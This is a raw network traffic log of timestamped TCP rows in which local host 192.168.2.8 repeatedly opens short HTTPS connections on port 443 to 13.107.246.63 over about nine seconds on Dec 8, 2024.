Dec 8, 2024 10:48:09.512181044 CET	49834	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.512391090 CET	49834	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.512399912 CET	443	49834	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.153484106 CET	443	49830	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.154257059 CET	49830	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.154278040 CET	443	49830	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.154922962 CET	49830	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.154928923 CET	443	49830	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.158328056 CET	443	49831	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.158719063 CET	49831	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.158737898 CET	443	49831	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.159229040 CET	49831	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.159235001 CET	443	49831	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.159344912 CET	443	49832	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.159646034 CET	49832	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.159667969 CET	443	49832	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.160137892 CET	49832	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.160156012 CET	443	49832	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.163188934 CET	443	49833	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.163552046 CET	49833	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.163567066 CET	443	49833	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.164005995 CET	49833	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.164011955 CET	443	49833	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.235025883 CET	443	49834	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.235630989 CET	49834	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.235642910 CET	443	49834	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.236051083 CET	49834	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.236054897 CET	443	49834	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.586179972 CET	443	49830	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.590238094 CET	443	49830	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.590322971 CET	49830	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.590364933 CET	49830	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.590383053 CET	443	49830	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.590435028 CET	49830	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.590442896 CET	443	49830	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.591983080 CET	443	49831	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.592071056 CET	443	49831	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.592117071 CET	49831	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.592309952 CET	49831	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.592309952 CET	49831	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.592324972 CET	443	49831	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.592334032 CET	443	49831	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.594307899 CET	49835	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.594348907 CET	443	49835	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.594399929 CET	49835	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.594434977 CET	443	49832	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.594959021 CET	49835	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.594974995 CET	443	49835	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.596071959 CET	443	49833	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.596101046 CET	49836	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.596131086 CET	443	49836	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.596396923 CET	49836	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.596396923 CET	49836	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.596421957 CET	443	49836	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.597328901 CET	443	49832	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.597388029 CET	49832	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.597418070 CET	49832	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.597438097 CET	443	49832	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.597455025 CET	49832	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.597462893 CET	443	49832	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.599859953 CET	443	49833	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.599910021 CET	49833	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.599925995 CET	443	49833	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.599950075 CET	443	49833	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.599987030 CET	49833	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.600033998 CET	49833	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.600044966 CET	443	49833	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.600054979 CET	49833	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.600060940 CET	443	49833	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.600188971 CET	49837	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.600234032 CET	443	49837	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.600282907 CET	49837	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.600527048 CET	49837	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.600538015 CET	443	49837	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.602977991 CET	49838	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.602996111 CET	443	49838	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.603197098 CET	49838	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.603337049 CET	49838	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.603348970 CET	443	49838	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.668133974 CET	443	49834	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.672004938 CET	443	49834	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.672049999 CET	49834	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.672180891 CET	49834	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.672194958 CET	443	49834	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.672205925 CET	49834	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.672210932 CET	443	49834	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.675842047 CET	49839	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.675893068 CET	443	49839	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:11.675947905 CET	49839	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.676172972 CET	49839	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:11.676183939 CET	443	49839	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.312181950 CET	443	49836	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.312252998 CET	443	49835	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.312694073 CET	49836	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.312720060 CET	443	49836	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.312747955 CET	49835	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.312767029 CET	443	49835	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.313216925 CET	49836	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.313224077 CET	443	49836	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.313277006 CET	49835	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.313282013 CET	443	49835	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.322556019 CET	443	49837	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.322892904 CET	49837	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.322917938 CET	443	49837	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.323321104 CET	49837	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.323326111 CET	443	49837	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.324095011 CET	443	49838	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.324446917 CET	49838	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.324464083 CET	443	49838	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.324884892 CET	49838	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.324891090 CET	443	49838	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.390197039 CET	443	49839	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.390729904 CET	49839	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.390762091 CET	443	49839	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.391321898 CET	49839	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.391325951 CET	443	49839	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.745528936 CET	443	49836	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.746269941 CET	443	49835	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.746328115 CET	443	49835	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.746407032 CET	49835	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.746504068 CET	49835	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.746524096 CET	443	49835	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.746540070 CET	49835	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.746546030 CET	443	49835	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.749367952 CET	443	49836	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.749430895 CET	49836	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.755341053 CET	443	49837	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.755490065 CET	49836	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.755490065 CET	49836	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.755517006 CET	443	49836	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.755531073 CET	443	49836	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.757023096 CET	443	49838	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.759247065 CET	443	49837	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.759299040 CET	443	49837	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.759306908 CET	49837	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.759346962 CET	49837	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.760749102 CET	443	49838	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.760848999 CET	49838	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.762665987 CET	49840	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.762706041 CET	443	49840	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.762787104 CET	49840	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.763359070 CET	49837	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.763386011 CET	443	49837	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.763392925 CET	49837	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.763398886 CET	443	49837	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.765430927 CET	49838	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.765431881 CET	49838	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.765448093 CET	443	49838	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.765458107 CET	443	49838	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.768731117 CET	49841	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.768771887 CET	443	49841	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.768834114 CET	49841	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.769153118 CET	49842	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.769176006 CET	443	49842	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.769283056 CET	49842	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.770575047 CET	49843	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.770586014 CET	443	49843	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.770641088 CET	49843	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.770807028 CET	49840	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.770819902 CET	443	49840	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.770920992 CET	49843	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.770937920 CET	443	49843	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.771388054 CET	49841	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.771394968 CET	443	49841	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.771512985 CET	49842	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.771522045 CET	443	49842	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.823299885 CET	443	49839	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.827229023 CET	443	49839	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.827277899 CET	49839	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.827286005 CET	443	49839	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.827327967 CET	49839	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.827378035 CET	49839	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.827395916 CET	443	49839	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.827428102 CET	49839	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.827434063 CET	443	49839	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.831926107 CET	49844	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.831959009 CET	443	49844	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:13.832067013 CET	49844	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.832240105 CET	49844	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:13.832252979 CET	443	49844	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.486766100 CET	443	49840	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.487307072 CET	49840	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.487337112 CET	443	49840	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.487560987 CET	443	49843	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.487770081 CET	443	49842	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.487793922 CET	49840	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.487799883 CET	443	49840	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.487943888 CET	443	49841	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.488027096 CET	49842	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.488044024 CET	443	49842	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.488403082 CET	49842	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.488409042 CET	443	49842	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.488899946 CET	49843	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.488919020 CET	443	49843	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.489248037 CET	49843	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.489253044 CET	443	49843	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.489509106 CET	49841	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.489516020 CET	443	49841	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.489878893 CET	49841	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.489883900 CET	443	49841	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.546545029 CET	443	49844	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.547074080 CET	49844	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.547111988 CET	443	49844	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.547585011 CET	49844	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.547593117 CET	443	49844	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.919584036 CET	443	49840	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.920578003 CET	443	49843	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.921504974 CET	443	49842	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.921509027 CET	443	49841	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.921574116 CET	443	49841	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.921577930 CET	443	49842	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.921633959 CET	49842	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.921720982 CET	49841	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.921787024 CET	49842	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.921799898 CET	49841	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.921806097 CET	443	49842	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.921819925 CET	49842	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.921822071 CET	443	49841	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.921828032 CET	443	49842	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.921833992 CET	49841	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.921849966 CET	443	49841	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.923554897 CET	443	49840	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.923628092 CET	49840	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.924083948 CET	443	49843	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.924149990 CET	443	49843	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.924150944 CET	49843	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.924200058 CET	49843	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.925137997 CET	49840	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.925167084 CET	443	49840	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.925184011 CET	49840	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.925192118 CET	443	49840	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.925532103 CET	49845	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.925578117 CET	443	49845	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.925666094 CET	49845	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.925693989 CET	49846	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.925729036 CET	443	49846	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.925803900 CET	49843	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.925815105 CET	443	49843	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.925825119 CET	49843	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.925826073 CET	49846	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.925828934 CET	443	49843	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.926635027 CET	49845	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.926657915 CET	443	49845	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.927746058 CET	49846	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.927761078 CET	443	49846	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.928586006 CET	49847	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.928622007 CET	443	49847	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.928695917 CET	49847	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.928780079 CET	49848	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.928817987 CET	443	49848	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.928838015 CET	49847	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.928853035 CET	443	49847	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.928868055 CET	49848	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.929063082 CET	49848	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.929075956 CET	443	49848	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.979554892 CET	443	49844	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.983449936 CET	443	49844	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.983526945 CET	49844	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.983582973 CET	49844	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.983582973 CET	49844	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.983601093 CET	443	49844	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.983608961 CET	443	49844	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.986749887 CET	49849	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.986803055 CET	443	49849	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:15.986862898 CET	49849	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.987031937 CET	49849	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:15.987046957 CET	443	49849	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.676848888 CET	443	49848	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.677278996 CET	443	49847	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.677452087 CET	49848	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:17.677485943 CET	443	49848	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.677511930 CET	443	49846	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.677961111 CET	49847	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:17.677982092 CET	443	49847	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.678276062 CET	49848	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:17.678286076 CET	443	49848	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.678344011 CET	49847	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:17.678352118 CET	443	49847	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.678589106 CET	49846	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:17.678617954 CET	443	49846	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.678991079 CET	49846	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:17.678997040 CET	443	49846	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.682529926 CET	443	49845	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.683026075 CET	49845	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:17.683038950 CET	443	49845	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.683428049 CET	49845	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:17.683434010 CET	443	49845	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.749789953 CET	443	49849	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.751019001 CET	49849	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:17.751050949 CET	443	49849	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:17.751576900 CET	49849	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:17.751583099 CET	443	49849	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.110270023 CET	443	49848	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.110866070 CET	443	49846	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.110908031 CET	443	49847	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.113995075 CET	443	49845	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.114270926 CET	443	49848	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.114514112 CET	443	49847	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.114521027 CET	443	49846	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.114583015 CET	443	49847	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.114599943 CET	49848	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.114599943 CET	49848	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.114613056 CET	49846	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.114629984 CET	49847	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.114643097 CET	49848	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.114665985 CET	443	49848	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.114701986 CET	49847	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.114763021 CET	49846	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.114778996 CET	443	49846	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.114804029 CET	49846	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.114809990 CET	443	49846	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.115335941 CET	49847	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.115360022 CET	443	49847	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.115443945 CET	49847	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.115452051 CET	443	49847	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.118105888 CET	443	49845	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.118134022 CET	49850	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.118172884 CET	443	49850	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.118522882 CET	49845	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.118522882 CET	49845	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.118524075 CET	49851	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.118577003 CET	443	49851	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.118587971 CET	49850	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.118592978 CET	49845	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.118597984 CET	443	49845	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.118743896 CET	49851	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.118980885 CET	49852	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.119013071 CET	443	49852	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.119323969 CET	49851	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.119323969 CET	49850	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.119335890 CET	443	49851	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.119338036 CET	443	49850	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.119586945 CET	49852	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.120640039 CET	49853	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.120666027 CET	443	49853	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.122531891 CET	49852	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.122548103 CET	443	49852	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.122665882 CET	49853	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.122740030 CET	49853	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.122750044 CET	443	49853	13.107.246.63	192.168.2.8
